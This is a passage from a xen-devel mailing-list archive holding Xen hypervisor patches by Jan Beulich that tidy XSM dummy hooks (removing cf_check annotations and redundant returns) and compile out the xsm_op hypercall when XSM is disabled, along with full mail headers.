-static XSM_INLINE int cf_check xsm_pmu_op(
+static XSM_INLINE int xsm_pmu_op(
     XSM_DEFAULT_ARG struct domain *d, unsigned int op)
 {
     XSM_ASSERT_ACTION(XSM_OTHER);
@@ -747,7 +747,7 @@ static XSM_INLINE int cf_check xsm_pmu_o
 #endif /* CONFIG_X86 */
 
 #ifdef CONFIG_IOREQ_SERVER
-static XSM_INLINE int cf_check xsm_dm_op(XSM_DEFAULT_ARG struct domain *d)
+static XSM_INLINE int xsm_dm_op(XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
@@ -755,24 +755,24 @@ static XSM_INLINE int cf_check xsm_dm_op
 #endif
 
 #ifdef CONFIG_ARGO
-static XSM_INLINE int cf_check xsm_argo_enable(const struct domain *d)
+static XSM_INLINE int xsm_argo_enable(const struct domain *d)
 {
     return 0;
 }
 
-static XSM_INLINE int cf_check xsm_argo_register_single_source(
+static XSM_INLINE int xsm_argo_register_single_source(
     const struct domain *d, const struct domain *t)
 {
     return 0;
 }
 
-static XSM_INLINE int cf_check xsm_argo_register_any_source(
+static XSM_INLINE int xsm_argo_register_any_source(
     const struct domain *d)
 {
     return 0;
 }
 
-static XSM_INLINE int cf_check xsm_argo_send(
+static XSM_INLINE int xsm_argo_send(
     const struct domain *d, const struct domain *t)
 {
     return 0;
@@ -780,7 +780,7 @@ static XSM_INLINE int cf_check xsm_argo_
 
 #endif /* CONFIG_ARGO */
 
-static XSM_INLINE int cf_check xsm_get_domain_state(
+static XSM_INLINE int xsm_get_domain_state(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_XS_PRIV);
@@ -788,7 +788,7 @@ static XSM_INLINE int cf_check xsm_get_d
 }
 
 #include <public/version.h>
-static XSM_INLINE int cf_check xsm_xen_version(XSM_DEFAULT_ARG uint32_t op)
+static XSM_INLINE int xsm_xen_version(XSM_DEFAULT_ARG uint32_t op)
 {
     XSM_ASSERT_ACTION(XSM_OTHER);
     switch ( op )
@@ -815,7 +815,7 @@ static XSM_INLINE int cf_check xsm_xen_v
     }
 }
 
-static XSM_INLINE int cf_check xsm_domain_resource_map(
+static XSM_INLINE int xsm_domain_resource_map(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:20:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:20:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374120.1621091 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohjL-0002Xe-2c; Tue, 28 Jul 2026 13:20:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374120.1621091; Tue, 28 Jul 2026 13:20:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohjK-0002XX-Vy; Tue, 28 Jul 2026 13:20:22 +0000
Received: by outflank-mailman (input) for mailman id 1374120;
 Tue, 28 Jul 2026 13:20:21 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohjJ-0002Vy-Ig
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:20:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohjI-002uha-VS
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:20:20 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac93-2eae-0a2a0a5409dd-0a2a4502ea58-8
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:20:20 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac94-6ca4-0a2a45020019-d1558030bc5f-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:20:20 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so26977315e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:20:20 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957f9ae5c3sm424174045e9.3.2026.07.28.06.20.19
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:20:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244820; x=1785849620; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=TWHkG2xeRgNhqN/Mj6/qpIb3RG1kSl+PjY/er3+dPcU=;
        b=TKtFk6zfxNc7abTsf2vjSP/PjqRkTAamwAy+2KsWjgIv9F0HuvEesURpnwgXdFOHgd
         NQKYEwIuD5P7RY57VeFC6ROp/lHAoT8yORQbotfIDMx8uorLsIvX9WEuTrN+LUvVxNsg
         qT/qzf3ASDciSqybnLYCluSQ7jD3bF5fPTCVm7G0VGdBX9rN4ySkKI3P5nSoDkTlA5mP
         PBnifEmDADcF04qhFFxn4ALx0+tCvRlK5KBo+o/Etbsa6+AO98XDUBtoAX32L4sxauY9
         /mcO8S3/YyjPnAizwMyJbENBdgu19P1KiamTndEUauteOGUWBSMHwNQQ8dPXTVEOTeHM
         AnGQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244820; x=1785849620;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=TWHkG2xeRgNhqN/Mj6/qpIb3RG1kSl+PjY/er3+dPcU=;
        b=eaDOcovgC+Lz6oaZgEPqK3b3hBEkfoXap0TcDEN9Pxv4Ga+kaj7Pg1bLFpdl1H9iSO
         iOs6KHNCrL+29hyQrEQaZqDj1eWXcD8OHLwxPqum3eqf6EMj1vaZxrX3rmmlZlWYn+/e
         Md0Ba7XMUk0F5aL/ZZRRyct1Nd5F1fB3luWFaRMrGqGSObIsKhkulvq63pFvU3+O/V2C
         ph25DauV0qWFF6tkgSimjOPG6ygVCV22X4p8uKxg3npObqxhg2iqP2R2if7bw/HEua5i
         6bfGaW4tbRt8AAeo8roqVzfGwkMh4WDDtBi5MS0yoOLVPTBY+xa5+evzqG9F96JIMZZd
         T7RA==
X-Gm-Message-State: AOJu0YwBqwOERhZ8U2Ie6djIMEEQzKONwz5BhXdYu/fbAI7XT0HzTiY6
	tweKwqIJmIEHsMR9wFE8rSQVagARD6xTsCL2SqU73DqUSNk8kllVoaUxxi4jqMMJsEKzmljtz/x
	Wq481Jw==
X-Gm-Gg: AR+sD12ARq423711ZZ5jDIYj4OyHtRgfP9kKp03EctZgpor6+Ngz60LPrLJ2vGTO/KC
	kP8NNbREcm/qsac3RIY8OcDs7Gp6XzJaqAh/sesBcYZGALEdwd9Se1jnqIUkeRBgv7hgb/gWIYC
	3AHKWzxOmTMlax9b63t3NOEEtcGxPGpsb60k4ZKAt8CWwBDpqQRV11y56AI6hFC8Ex0/PotQm+X
	VyfEPgipKZvpmMWkX2YgFRadxWiLJ3PU5OWl+GgObGbGKw+kzZD0MXsOLNBYfjxQcZnP9/uNc2Q
	3GOSlFF76g4lLZcBcmIRuxDvTIEz1af4P3YBUPoMLLudTyYcQUXRwkbNHfivXw3psfOpi4ykQzv
	lvNdLqF8yodzhbcOowJT78YO2L0t9sgMhcr9f+1LphqHVAl/HfipZko2xO4RGqmzPH0rWJ/dEbK
	pV+LmVTo085FPGV4x2QI4BaNnkEUSac6vSGGLH4LbZSt9WIGdAzVaVUJ6OUHpNBkY82w==
X-Received: by 2002:a05:600c:46ca:b0:495:6338:1453 with SMTP id 5b1f17b1804b1-496c653ec08mr24938355e9.16.1785244820125;
        Tue, 28 Jul 2026 06:20:20 -0700 (PDT)
Message-ID: <b2dfb144-b475-4a64-b71d-4566691a9deb@suse.com>
Date: Tue, 28 Jul 2026 15:20:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 15/24] XSM/dummy: drop redundant return statements
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1c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Y5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785244820-66AB52AC-BF2F49C8/0/0
X-purgate-type: clean
X-purgate-size: 1231

They're meaningless when no value is returned.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -123,9 +123,7 @@ static XSM_INLINE int xsm_set_system_act
 
 static XSM_INLINE void xsm_security_domaininfo(
     struct domain *d, struct xen_domctl_getdomaininfo *info)
-{
-    return;
-}
+{}
 
 static XSM_INLINE int xsm_domain_create(
     XSM_DEFAULT_ARG struct domain *d, uint32_t ssidref)
@@ -187,9 +185,7 @@ static XSM_INLINE int xsm_alloc_security
 }
 
 static XSM_INLINE void xsm_free_security_domain(struct domain *d)
-{
-    return;
-}
+{}
 
 #ifdef CONFIG_GRANT_TABLE
 
@@ -316,9 +312,7 @@ static XSM_INLINE int xsm_evtchn_interdo
 }
 
 static XSM_INLINE void xsm_evtchn_close_post(struct evtchn *chn)
-{
-    return;
-}
+{}
 
 static XSM_INLINE int xsm_evtchn_send(
     XSM_DEFAULT_ARG struct domain *d, struct evtchn *chn)
@@ -349,9 +343,7 @@ static XSM_INLINE int xsm_alloc_security
 
 static XSM_INLINE void xsm_free_security_evtchns(
     struct evtchn chn[], unsigned int nr)
-{
-    return;
-}
+{}
 
 static XSM_INLINE char *xsm_show_security_evtchn(
     struct domain *d, const struct evtchn *chn)



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:21:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:21:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374134.1621100 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohjx-000397-Ao; Tue, 28 Jul 2026 13:21:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374134.1621100; Tue, 28 Jul 2026 13:21:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohjx-000390-7z; Tue, 28 Jul 2026 13:21:01 +0000
Received: by outflank-mailman (input) for mailman id 1374134;
 Tue, 28 Jul 2026 13:21:00 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohjw-00038k-1X
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:21:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohjv-00BRoD-EQ
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:20:59 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68acb1-2eae-0a2a0a5409dd-0a2a45059e5c-20
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:20:59 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68acbb-4cb1-0a2a45050019-d155802dcd95-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:20:59 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493f75f7172so32693445e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:20:59 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45e0424sm80298925e9.13.2026.07.28.06.20.57
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:20:58 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244859; x=1785849659; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=0PmC8Zogi7r4VxLB73pUpdZ4yUx5kl2KjhxmqXlA2+U=;
        b=ZkZPq9Io0OPWTavaDQm9w3HHkCAm0B5plhL9a2FsrR+S2s+CCAf1EQ2lMrxjqCvAHz
         PNc2hIPjrR4cuk+mBxVF1PPm5fjFJ03JPZZXP/tmbQpZgZJCSmrLg7SfkgX022bYiGe3
         DqfGAy3TXkSAypWgFdozTqOlX4+2ca8u7UVpxSkKhiaDXoqRWrGgskt0dJA895zX7MdX
         YVFfBKo2EyeODVsAm9G3WW8PUkt1rCW07B4TdPn65vPuVljndFSaKtk0AhVesUjK+TMO
         zU/H3ReYmhLvK0oMp4jc0KgDvNzxS876ttj9nn8YeTyJJCkv99Ji593CvOZwfTiATDHa
         0Nlg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244859; x=1785849659;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=0PmC8Zogi7r4VxLB73pUpdZ4yUx5kl2KjhxmqXlA2+U=;
        b=JDwUtdqRVPvd4K6UTGbVbf//rTy0+TF79Ro8UcGWlp3mrWWBmNt8Ac3AFlQ1QKyi/w
         M7JWpPNYo54of0iKhGvwxYfCYqptlG7Vech5RvYv1dsfPjuMV2Y0VZRkV3cenXmAG84j
         z2Tt3mlbtQ69jQ125xsUPTxEFV0jCmq87+0ji7SU5Eq7BMNFwUzYdBZyTcIPstMFzwja
         5OpmU+rbqlC/f5oK3BLDhtMfnCw+HVX7OFpUV35/hvjI/3P4xfsSuyS2zthdFqllEzLp
         vR1HxFDdy6mqXH55Y5iJ6yynXoQKtXpsYocGfRSh2O5cpHZ/L0d/O3Btd9GAAqEGT1U4
         R5uw==
X-Gm-Message-State: AOJu0Yxpjh/LD/LUoNK5vgbnUnO6k9Igkm/VzUTAyUPAxMdIKZMQds7l
	w1yucGt69ShZ9YAGlPjRBEN1NWJ+4qe+5XQspi3u2uzNRhhGQ5VdERDsCSPvUm9kwWXxWwMpd/g
	Wv0PMdg==
X-Gm-Gg: AR+sD11W520jpuf4crI71QTJkKgyeTF6xoZwoc9JWyuOyVd1iX11y0czDtrRJ5+AyA3
	YXmwNcvk2MPSr9sJikKZvulFJxjy1enfqy9OKmPoz/HibpcbJJJoDPv6kWUP6NZj/YaPtKN8asT
	4QNmrv9hZhQXKpjgnRGcoWwUsnJ4RRyzKS4Or21qJs7Jmvx1zl8oL31c8AAtO5YHU15ObdCRd8d
	skkvN2HFG/P4nSSjbFGH+SXb/ulbNJv+7Qxmh3JrG8SVzvnt4prb58RwSO4vJ/pVFXGOhxu3jXb
	LeE80DU7kr9w/7JSGCtIeBiJ1MuivW7he+j2bKkJLnsXt1kI5wyI/xqa2nAoGIr0UVi+egoyUW7
	+Muu619LWqN27GM2v0+y/4rU7Bu0FzhWVHUmpd3WogYrWqx8eoadCNpoTqViDOB/9VoaSp3QPIM
	/JvSjLKb7kllVjDyYTtUypd/AlgU6Zoi2gjJLp+rpQ82AnIgN8ILA8M6TTIkNhJDOaHA==
X-Received: by 2002:a05:600c:524e:b0:495:63f5:7a4f with SMTP id 5b1f17b1804b1-496c6591b63mr24709475e9.33.1785244858711;
        Tue, 28 Jul 2026 06:20:58 -0700 (PDT)
Message-ID: <b533ed9f-1ea8-4d27-8420-2159ccd27cc8@suse.com>
Date: Tue, 28 Jul 2026 15:20:57 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 16/24] XSM: suppress hypercall when XSM=n
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+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lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1785244859-F64B42A1-02C874DE/0/0
X-purgate-type: clean
X-purgate-size: 2760

This can be easily done in hypercall-defs.c, thus avoiding the need to
dive into xsm/ when building Xen, just to add code which does what is done
for an absent hypercall handler anyway (returning -ENOSYS).

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/Makefile
+++ b/xen/Makefile
@@ -458,7 +458,7 @@ CFLAGS += -I$(objtree)/arch/$(SRCARCH)/i
 ALL_OBJS-y                := common/built_in.o
 ALL_OBJS-y                += drivers/built_in.o
 ALL_OBJS-y                += lib/built_in.o
-ALL_OBJS-y                += xsm/built_in.o
+ALL_OBJS-$(CONFIG_XSM)    += xsm/built_in.o
 ALL_OBJS-y                += arch/$(SRCARCH)/built_in.o
 ALL_OBJS-$(CONFIG_CRYPTO) += crypto/built_in.o
 
--- a/xen/include/hypercall-defs.c
+++ b/xen/include/hypercall-defs.c
@@ -119,7 +119,9 @@ prefix: do PREFIX_compat
 xen_version(int cmd, void *arg)
 vcpu_op(int cmd, unsigned int vcpuid, void *arg)
 sched_op(int cmd, void *arg)
+#ifdef CONFIG_XSM
 xsm_op(void *op)
+#endif
 callback_op(int cmd, const void *arg)
 #ifdef CONFIG_ARGO
 argo_op(unsigned int cmd, void *arg1, void *arg2, unsigned long arg3, unsigned long arg4)
@@ -264,7 +266,9 @@ set_segment_base                   do:2
 #ifdef CONFIG_PV
 mmuext_op                          compat:2 do:2     compat   do       -
 #endif
+#ifdef CONFIG_XSM
 xsm_op                             compat   do       compat   do       do
+#endif
 nmi_op                             compat   do       -        -        -
 sched_op                           compat   do       compat   do       do
 callback_op                        compat   do       -        -        -
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -437,6 +437,8 @@ static XSM_INLINE int xsm_hypfs_op(XSM_D
 }
 #endif
 
+#ifdef CONFIG_XSM
+
 static XSM_INLINE long xsm_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
     return -ENOSYS;
@@ -449,6 +451,8 @@ static XSM_INLINE int xsm_do_compat_op(X
 }
 #endif
 
+#endif /* CONFIG_XSM */
+
 static XSM_INLINE char *xsm_show_irq_sid(int irq)
 {
     return NULL;
--- a/xen/xsm/Makefile
+++ b/xen/xsm/Makefile
@@ -1,6 +1,6 @@
 obj-y += xsm_core.o
-obj-$(CONFIG_XSM) += xsm_policy.o
-obj-$(CONFIG_XSM) += dummy.o
+obj-y += xsm_policy.o
+obj-y += dummy.o
 obj-$(CONFIG_XSM_SILO) += silo.o
 
 obj-$(CONFIG_XSM_FLASK) += flask/
--- a/xen/xsm/xsm_core.c
+++ b/xen/xsm/xsm_core.c
@@ -18,8 +18,6 @@
 #include <xen/hypercall.h>
 #include <xsm/xsm.h>
 
-#ifdef CONFIG_XSM
-
 #ifdef CONFIG_MULTIBOOT
 #include <asm/bootinfo.h>
 #include <asm/setup.h>
@@ -216,8 +214,6 @@ bool __init has_xsm_magic(paddr_t start)
 }
 #endif
 
-#endif
-
 long do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
     return xsm_do_xsm_op(op);



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:22:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:22:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374141.1621108 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohky-0003ds-Ke; Tue, 28 Jul 2026 13:22:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374141.1621108; Tue, 28 Jul 2026 13:22:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohky-0003dl-Ht; Tue, 28 Jul 2026 13:22:04 +0000
Received: by outflank-mailman (input) for mailman id 1374141;
 Tue, 28 Jul 2026 13:22:03 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohkx-0003df-Jw
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:22:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohkx-00EqnP-0c
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:22:03 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68acfa-5cb7-0a2a0a5109dd-0a2a4507c6ba-2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:22:02 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68acf9-b4ea-0a2a45070019-d155802ed879-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:22:01 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-496b7622a83so20085585e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:22:01 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c46160dfsm73379215e9.10.2026.07.28.06.22.00
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:22:01 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244921; x=1785849721; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=sNb6MGDbLdhr/i+rLQSnZDarDQNYYzkY9sEEN53Af6U=;
        b=cPizdE7vC5cI7j99kTq0FjhU8Q2j3/hbkEND6JoOVBETgcEE7j4q6DnuyA3fVOyf94
         ms4b1QXxgS0iwmTMvykbICiak/tAvttDrBKzEPIEtLpZlQPF0k9xQG0HIcH2qLs1/uYd
         VVWlyyoZ/MtK1xtcF0ulJMlwk8PBz3yYgLhG9QXYr/wi2NiEGfmaI7/qGtlA7KGXHDV0
         Az3Xed8Jh7Qh9T+Jw8BFcUURJrfjXZnmo4Vg/ZWUadRr0/GNsUCpBibqaroJalluvwhH
